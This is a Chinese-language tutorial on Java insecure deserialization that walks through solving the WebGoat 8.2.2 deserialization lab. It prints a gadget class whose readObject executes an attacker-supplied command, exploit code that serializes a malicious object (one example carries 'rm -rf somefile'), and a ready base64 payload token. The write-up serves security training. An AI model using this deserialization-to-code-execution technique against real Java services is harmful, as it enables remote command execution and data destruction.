1、概念
使用反序列化在各程式語言中略有不同,如Java、PHP、Python、Ruby、C/C++等等,但在關鍵概念上是一樣的
序列化:將(記憶體中的)物件轉化成資料格式,以便儲存或傳輸
反序列化:即序列化的反過程,從某種格式的資料中構建物件
如今最受歡迎的序列化資料格式是JSON,而在這之前是XML,只有資料是序列化的,而程式碼本身不是
2、Native Serialization-本地序列化/客制序列化
一些程式語言提供了自己的序列化功能,所使用的資料格式比一般的JSON或XML擁有更多的特性和功能,甚至可以自行指定序列化的過程。序列化/反序列化的過程以及這些特性可能會被攻擊者惡意利用,從而實現DOS攻擊、越權攻擊以及RCE-遠端程式碼執行等目的
3、最簡單的例子
InputStream is = request.getInputStream();ObjectInputStream ois = new ObjectInputStream(is);AcmeObject acme = (AcmeObject)ois.readObject();
這段程式碼期望獲取一個AcmeObject,但在強制型別轉換之前呼叫了readObject()方法。攻擊者需要做的就是在類路徑中,找到一個支援序列化的類,來在呼叫readObject()時執行危險操作。(也就是按照原應用偽冒這個類,然後序列化後插入惡意程式碼)
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 1;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
private void readObject( ObjectInputStream stream ) throws Exception {
//deserialize data so taskName and taskAction are available
stream.defaultReadObject();
//blindly run some code. #code injection
Runtime.getRuntime().exec(taskAction);
}
}
針對上面的Java類,攻擊者可以序列化一個惡意物件並形成RCE,Exploit如下:
VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
4、Gadgets Chain
程式在自己執行反序列化時,執行危險操作的類(這裡稱之為gadget)是很少見的。但是找到一個在反序列化時會作用到其他gadget的gadget卻很常見。並通常會帶來更多的作用效果,一個作用到下一個,直到真正的危險操作被執行。這一串類,我們稱之為Gadgets Chain,尋找gadget來構築可利用的gadgets chain是安全研究人員的一個熱門話題。這通常需要大量的時間去閱讀程式碼。
5、題目,利用反序列化漏洞執行延遲五秒的操作
8.2.2版本,審計以下關鍵程式碼(尤其標紅處),以及多次嘗試、debug除錯後,發現此題答案需要滿足以下幾個條件:
public class InsecureDeserializationTask extends AssignmentEndpoint {
@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException {
String b64token;
long before;
long after;
int delay;
b64token = token.replace('-', '+').replace('_', '/');
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
before = System.currentTimeMillis();
Object o = ois.readObject();
if (!(o instanceof VulnerableTaskHolder)) {//必須是VulnerableTaskHolder得例項,所以包名也得一致
if (o instanceof String) {
return failed(this).feedback("insecure-deserialization.stringobject").build();
}
return failed(this).feedback("insecure-deserialization.wrongobject").build();
}
after = System.currentTimeMillis();
} catch (InvalidClassException e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
} catch (IllegalArgumentException e) {//有時效性,如果不滿足時效會報錯,經嘗試驗證,生成requestedExecutionTime時減去4/5分鐘可行
return failed(this).feedback("insecure-deserialization.expired").build();
} catch (Exception e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
}
//檢查延時時間是否滿足延時5秒
delay = (int) (after - before);
if (delay > 7000) {
return failed(this).build();
}
if (delay < 3000) {
return failed(this).build();
}
return success(this).build();
}
}
VulnerableTaskHolder的readObject函式
/**
* Execute a task when de-serializing a saved or received object.
* @author stupid develop
*/
private void readObject( ObjectInputStream stream ) throws Exception {
//unserialize data so taskName and taskAction are available
stream.defaultReadObject();
//do something with the data
log.info("restoring task: {}", taskName);
log.info("restoring time: {}", requestedExecutionTime);
// 有時間戳檢查,並且在當前時間之前10分鐘以內
if (requestedExecutionTime!=null &&
(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))
|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {
//do nothing is the time is not within 10 minutes after the object has been created
log.debug(this.toString());
throw new IllegalArgumentException("outdated");
}
//condition is here to prevent you from destroying the goat altogether
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}
}
1)、建立的物件必須是VulnerableTaskHolder類的例項,包名得一致;
2)、建立的序列化物件,時間戳必須在當前時間的前十分鐘以內,否則會報The task is not executable between now and the next ten minutes, so the action will be ignored. Maybe you copied an old solution? Let's try again錯誤。所以VulnerableTaskHolder類中的構造方法得減去一定得時間,比如4分鐘
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now().minusMinutes(4);//獲得當前時間並減去4分鐘
}
附件https://github.com/pofabs/p5Security/blob/main/SerialTestWeb.zip 提供了一個java序列化測試的demo,可以下載下來後在idea中執行。需要配置本地maven倉庫,如有報錯自行搜尋錯誤資訊解決即可
如果為了偷懶,也可以直接在IDEA中部署WebGoat原始碼(網上一般都有教程),然後按照以下步驟去執行
5.1、在VulnerableTaskHolder同級目錄下建立一個SerialMain.java
程式碼如下
package org.dummy.insecure.framework;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class SerialMain {
static public void main(String[] args){
try{
VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
String exp = Base64.getEncoder().encodeToString(exploit);
System.out.println(exp);
} catch (Exception e){
}
}
}
5.2、參照2)修改VulnerableTaskHolder中的this.requestedExecutionTime = LocalDateTime.now().minusMinutes(4); 編譯執行SerialMain得到token:
rO0ABXNyADFvcmcuZHVtbXkuaW5zZWN1cmUuZnJhbWV3b3JrLlZ1bG5lcmFibGVUYXNrSG9sZGVyAAAAAAAAAAICAANMABZyZXF1ZXN0ZWRFeGVjdXRpb25UaW1ldAAZTGphdmEvdGltZS9Mb2NhbERhdGVUaW1lO0wACnRhc2tBY3Rpb250ABJMamF2YS9sYW5nL1N0cmluZztMAAh0YXNrTmFtZXEAfgACeHBzcgANamF2YS50aW1lLlNlcpVdhLobIkiyDAAAeHB3DgUAAAflCx4SGSwFVz+geHQAB3NsZWVwIDZ0AAVzbGVlcA==
5.3、恢復5.2中的程式碼為this.requestedExecutionTime = LocalDateTime.now(),重新部署webgoat,然後訪問題目輸入token,成功